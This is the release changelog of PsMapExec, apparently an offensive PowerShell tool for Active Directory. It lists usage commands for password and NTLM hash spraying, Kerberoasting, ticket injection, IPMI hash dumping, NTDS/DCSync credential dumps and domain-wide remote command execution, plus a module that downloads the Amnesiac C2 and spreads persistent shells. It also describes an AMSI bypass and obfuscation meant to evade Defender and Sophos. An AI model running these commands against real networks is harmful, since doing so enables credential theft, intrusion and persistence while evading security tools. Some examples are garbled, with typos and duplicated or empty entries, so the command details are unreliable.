Change Log

v.0.5.2 - 06-03-2024

Some small fixes and additions

  • Added prevention of parsing functions running when combined with an incompatible method

  • Added support for environments where RC4 Kerberos types and NTLM hashes are not supported.

    • Reports when attempting to inject a ticket and the Kerberos etype is not supported

    • Will produce a similar output when spraying RC4 hashes against any valid accounts

    • add the Rubeus /enctype:aes256 parameters to improve function in more restricted environments

  • Fixed an issue where successful spraying results were being duplicated in output files

  • Fixed an issue with IPMI not accepting DNS hostnames

  • Added a built in query for "AdminCount=1" when spraying. Useful in large environments where you want to filter down spraying results to those that are likely to be interesting

v.0.5.2 - 06-03-2024

Small update to address a couple of small issues or quality of life improvements.

  • Invalid principal names will be reported when using -Username without -LocalAuth

  • The Method IPMI now supports single user targeting

  • Local IP addresses from the running system will be excluded from CIDR ranges

  • Updated the embedded AMSI bypass so it is no longer detected by Defender

v.0.5.1 - 27-02-2024

Three new methods added to this update

Inject: Used to inject a ticket into memory, useful when working from a non-domain joined system or wish to "revert" to the new injected ticket after performing impersonation

# Inject using a Base64 encoded ticket
PsMapExec -Method Inject -Ticket "doIhsj..."
PsMapExec -Method Inject -Ticket "C:\ticket.txt"

# Inject using a hash (RC4/AES256/NTLM)
PsMapExec -Method Inject -Username [User] -Hash [Hash]

# Inject using a password
PsMapExec Method Inject -Username [User] -Password [Password]

Kerberoast: Kerberoasting is now possible

Kerberoasting can be performed against the current or a specified domain. By default all users with SPNs will be processed otherwise, it is also possible to select a singular user to kerberoast

# Grab all kerberoastable users from current domain
PsMapExec -Method Kerberoast

# Grab all kerberoastable users from a specified domain
PsMapExec -Method Kerberoast -Domain Security.local

# Grab a single specified users from the current domain
PsMapExec -Method Kerberoast -Option Kerberoast:USER

IPMI: It is now possible to dump IPMI hashes

# Check for IPMI in
PsMapExec -Targets [] -Method IPMI

# Dump IPMI against all Servers in AD, with a user list generated from all domain users
PsMapExec -Targets [Servers] -Method IPMI -Option IPMI:DomainUsers


Small update to the RDP method. This will now output a log file by the name of the user which contains all systems for which they have RDP access to. This file is output to $PWD\PME\RDP\


The Spray method now advises which users were successfully sprayed once it has finished performing the spray

Target Acquisition

PsMapExec now supports single IP address and CIDR ranges as target specifications. This is much less preferable (various reasons) than using the built in Active Directory queries (All, Servers, Workstations, DCs).

# Single IP
PsMapExec -Targets -Method WMI -Command "net user"

PsMapExec -Targets -Methid WMI -Command "net user"


  • Resolved an issue where LDAP queries would become "polluted" when querying objects in one domain and then next command querying those in another domain

  • Added a small check to ensure -Module or -Commands are not populated when using -Method All. This method is used for checking access across several methods and does not support code execution

  • Remove an LDAP binding to the domain PDC after restoring the originating users kerberos ticket. It was causing an issue where sometimes it would wipe over the ticket cache for some reason.

  • Made a small change to the parsing functions for -Module SAM and -Module LogonPasswords to accomodate when IP addresses are used for target specification

  • Added a small line to ensure the -Module LogonPasswords creates a file for all collected unique hashes

v.0.4.7 - 24-01-2024

This update includes some changes, reduction and obfuscation to some of the code within the script to help bypass AV. Tested against Windows Defender and Sophos and able to run without using AMSI bypasses. Obviously this gets caught by decent EDR such as Crowdstrike.


Changed code to be a revision of:, Uses a similar code base to the original GenRelayList but is smaller and more effecient.

RDP Made some changes to the RDP method and added some obfuscation to aid with AV evasion


Replaced the Rubeus binary within the script to the most recent version of Rubeus, removed functions from the main code that are not used within PsMapExec and performed some general obfuscation on the binary.


Made a change to the target acquisition within the script. Previously, defining -Targets Servers would grab all windows server operating systems from the domain, which included Domain Controllers. The Domain Controllers have now been redacted from these results. To now target Domain Controllers use either -Targets All, -Targets DCs or -Targets [DC Name]

NTLM hashes

NTLM hashes can now be provided to -Hash and -SprayHash in the format NT:LM.

PsMapExec -Targets all -Method wmi -Hash aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

# Spraying
PsMapExec -Method spray -SprayHash aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe


  • The SAM module has been updated to not show the "Hashes valid on multiple computers" table if no results are actually returned

  • Fixed an issue with the hash spraying method that was preventing any results being displayed

  • Ammended the regex pattern used in -Rainbow to match the new way returns results.

  • Fixed an issue that was preventing the Amnesiac module from working as expected when credentials are supplied

v.0.4.6 - 13-12-2023

Amnesiac Module

Support for the C2 tool Amnesiac has been added. We have colabrated closely with Leo4j to implement Amnesiac into PsMapExec.

Amnesiac is an in memory based PowerShell C2 allowing us to spray shells across a domain and gain persistence with Amnesiac to perform further exploitation of targets.

PsMapExec will automatically download and execute Amnesiac in a new process and execute the required payloads on the specified targets systems to gain persistent shells back.

The Amnesiac module works across all command execution methods with PsMapExec.

Some usage examples:

# Execute over WMI as the current User
PsMapExec -Targets All -Method WMI -Module Amnesiac

# Execute over WinRM using a provided username and hash
PsMapExec -Targets All -Method WinRM -Module Amnesiac -Username User -Hash [RC4/AES256]

# Execute over SMB using a provided username and password
PsMapExec -Targets All -Method SMB -Module Amnesiac -Username User -Password Pass

Amnesiac: Documentation:

Rainbow Tables

  • PsMapExec now supports rainbow table lookup against an online database ( when parsing extracted hashes from certain modules (SAM, NTDS, LogonPasswords).

  • Use the switch -Rainbow along side one of these supported modules to perform the check

  • Only known hashes will be printed to the console, invalid results are surpressed

PsMapExec -Targets Servers -Method WMI -Module SAM -Rainbow

LDAP queries

  • Improved logic around obtaining user accounts from high value domain groups. This will now only run when this information is actually required. These are now stored in a global variable so will not be queried in subsequent queries if required after the first time.

  • Improved logic around target acquisition. When supplying Servers, Workstations, DCs or All to -Targets these results are stored in a global variable. This should improve execution time on larger networks as we will not need to requery the same systems again.

  • As per both the points above, the -Flush switch has been added. This will flush any collected Targets and high value domain group members from memory. Effectively meaning the next time these are run they will be refreshed with infromation from new LDAP queries.

Password and Hash Spraying

  • Added some error handling so the script does not get stuck in a rare moment querying a user from the domain

  • Improved the overall speed of spraying hashes and passwords.


  • When the original user ticket is restored after performing impersonation a LDAP kerberos ticket will now be created for the Primary Domain Controller in addition to the krbtgt ticket.

  • The method GenRelayList has now been moved inside a runspace to support threading

  • Added logic to ensure duplicate computer names from a target file are not processed more than once

  • Moved the IP resolution for the -Method MSSQL to inside a runspace to speed things up

  • Changed the default timeout value on port scans to 3 seconds. This new default value should provide a better balance between speed and result accuracy.

  • Removed the parameter ordering so it does not matter which order parameters are now provided to PsMapExec

  • added some logic around the "Unable to retrieve kerberos ticket" issue. This is usually caused by no kerberos tickets being in the existing cache. This check will now be skipped if no tickets exist in the current kerberos cache

v.0.4.5 - 29-11-2023

Target Acquisition

Targets can now be read from a file. The file should either be a line seperated or a comma seperated list of NETBIOS and / or FQDNs.

PsMapExec -Targets "Targets.txt" -Method WMI -Command "whoami"
# File example

Targets also now supports wildcard matching

PsMapExec -Targets "SRV*" -Method WMI -Command whoami


  • Resolved an IP resolution issue in the -Method MSSQL

  • Resolved an issue where providing a single target to the -Method MSSQL that would inadvertently check all systems with MSSQL SPNs as well

  • Made some general improvements and fixes to the method when producing output and checking results.

  • Discovered MSSQL instances are now output to $pwd\PME\MSSQL\

Accessible and SYSADMIN accessbile MSSQL instances are now output to file:




  • Added switch -NoBanner. Prevents the banner from being displayed.

  • Added initial support for -Method All

  • Added the -Timeout parameter. This controls the timeout on port scanning across all methods before determining a port is not up on a host. The default value is 100ms.

  • Improved domain binding function. Should help in those cases where a createnetonly session is created and some issues with reading from the PDC are encountered.

  • The parsing function for -Method LogonPasswords should also now correctly seperate discovered usernames from output in a cleaner fashion

  • Changed the "pre-built" command that is suggested when a TGT is discovered on the kerbdump module to use the -Targets and -Method value originally used when performing the dump rather than the generic values "All" and "WMI".

  • Redcued some of the code for displaying results

  • Refactored the WMI code to be cleaner and be self contained within a single function as opposed to a complete different function when -LocalAuth is provided

  • Moved some of the code around so that the "Create directory" text always happens after the "targets designation" text.

  • If no machines are found in the LDAP querying, to terminate the script early

  • Removed "MacOS" and "MacOS X" from candidate systems

  • Changed the thread count check to produce an error when a -Thread value of less than 1 or more than 100 is provided. (Providing a very high thread count can invalidate results). Default value for -Threads has been changed to 30.

v.0.4.3 - 11-11-2023

  • Added a new -Module NTDS.

  • NTDS will perform DCSync against target systems (That are DCs) and dump all NTLM and SAM hashes from the database.

Parsing functions are includes to perform the following after extraction:

  • Create a file that stores all computer NTLM hashes

  • Create a file that stores all user NTLM hashes

  • Create a file that stores SAM hashes from the DC

  • Create a file that identifies accounts with empty passwords

  • Create a file that identifies groups of users with identical passwords

v.0.4.2 - 09-11-2023

v.0.4.1 - 30-10-2023

  • Added further support for PsMapExec running from a non-domain joined system against a specified domain

Change some of the syntac for the Spray method to support these changes:

  • Added -SprayHash instead of -Hash when specifying credential material to spray

  • Added -SprayPassword instead of -SprayPassword when specifying credential material to spray

This allows for the -Password and -Hash parameters to be used for when authenticating against a domain when working from a non-domain joined system.

v.0.4.0 - 27-10-2023

  • RDP module updated. Updated and improved SharpRDP binary submitted by Binary now only performs and validates connection requests. Code should be about 10x faster than previous versions

  • Updated the way PsMapExec handles threading for RDP.

  • Cleaned up various small bits and added some error checking.

v.0.3.8 - 10-10-2023

  • Added the method VNC. Can be used to check hosts that have "No Auth" set.

  • Updated code for parsing eKeys and LogonPasswords. This should now be much cleaner and parse useful information with a higher degree of accuracy

v.0.3.5 - 4-10-2023

  • Small update to address an issue with tickets clearing for the logon session when using Spray or GenRelayList, and the method terminates early.

v.0.3.4 - 4-10-2023

  • SMB Protocol: Optimized some parts of the method, this should now return results much faster.

  • eKeys: Parsing for eKeys has been updated. This will now display each username as DOMAIN\USERNAME format. Tags have also been updated to notify when an account with AdminCount=1 has been identified and if an account with an Empty Password has been found.

  • Consistent logic for each method has been written when retreiving results from a remote system.

  • Updated the files module to correctly work over WinRM and SMB.

  • Refactored the SessionHunter method to now only display computers for which we have administrative access to, and for where there is an administrative user session active on the system (Administrative users credentials are likely in memory)

v.0.3.2 - 25-09-2023

  • New Method: PsExec has been removed and replaced with Leo4j's Invoke-SMBRemoting. Use -Method SMB to initialise.

  • GenRelayList: Resolved an issue with this method which was reporting incorrect SMB signing status on some hosts.

  • Code Cleanup: More parts of the code have been generally cleaned up.

v.0.3.0 - 22-09-2023

  • More speed: We are now using runspaces for WinRM and WMI. Things should be a lot quicker for these two methods now. We also have some additional filtering when port scanning. This should should strip out non-candidate systems even better.

  • Syntax change: To use SessionHunter,GenRelayList and Spray we now see this as a parameter for -Method for example: PsMapExec -Targets All -Method GenRelayList . This is to ensure more consistency across syntax.

  • Code Cleanup: Various bits of code throughout has been cleaned up and generally just made more efficient. There is a lot more work in this regard to complete however.

Last updated